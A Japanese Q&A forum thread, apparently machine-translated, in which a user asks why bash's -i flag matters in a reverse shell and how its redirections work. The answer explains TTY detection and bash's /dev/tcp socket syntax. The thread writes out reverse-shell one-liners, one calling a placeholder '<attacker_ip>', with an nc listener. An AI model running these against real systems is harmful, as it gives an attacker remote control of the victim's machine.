bashについては2つの質問があります。私は逆砲弾と-i
旗作業をしています。これを行うと、bash -i > /dev/tcp/ip/port 2>&1 0>&1
サーバーシステムに対話型シェルが作成され、ポートを介してnc -l
キャプチャされます。ただし、対応するフラグを入力しないと、-i
ログインではなく非対話型シェルが作成されます。これはこれまでに予想された動作です。ただし、ローカルbash
で実行すると、bash -i
対話型がデフォルトモードの場合と同じように、両方の対話型の新しいシェルが得られます。 bashなしでリダイレクトするのはインタラクティブでは-i
ありませんが、ローカルbashはなぜですか?
リダイレクトに関する2番目の質問に関しては、次のライナーを見ましたが、ここに関連するリダイレクトを理解していません。
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
私が知る限り、これはbashのstdoutを/ dev / tcp ...にリダイレクトし、stdoutの場所をstdin(0<&1
)として受け入れ、stderrをstdout(2>&1)にリダイレクトします。これはリバースシェルをどのように実装しますか? /dev/tcp..の内容をstdinにリダイレクトし、stdoutとエラーをそこにリダイレクトすることはできませんか?
ありがとうございます!
答え1
対話型シェルは、bashのstdinとstderrがターミナルデバイスに接続されているとき(isatty()
関数またはいくつかの同等の関数として検出される)デフォルトの動作です。パイプcat | bash
を介さずにローカルに何かを入力する場合はTTYで、デフォルトは対話型です。ソケットからリダイレクトする場合はTTYではなく、対話モードに切り替えるには対応するフラグが必要です。
リダイレクトまたはリダイレクトからリダイレクトするときは、実際に/dev/tcp/<ip>/<port>
は下のファイルを使用することはありません/dev
。 (試してls /dev/tcp
みることができますNo such file or directory.
)これは実際に許可される特別な構文で、ローカルファイルを開くのではなく指定されたbash
ソケットを開くようにします。ソケットにはファイルのように「読み取り」または「書き込み」モードがないため、fd 1がソケットの場合、構文とは同じです。ip
port
0<&1
0>&1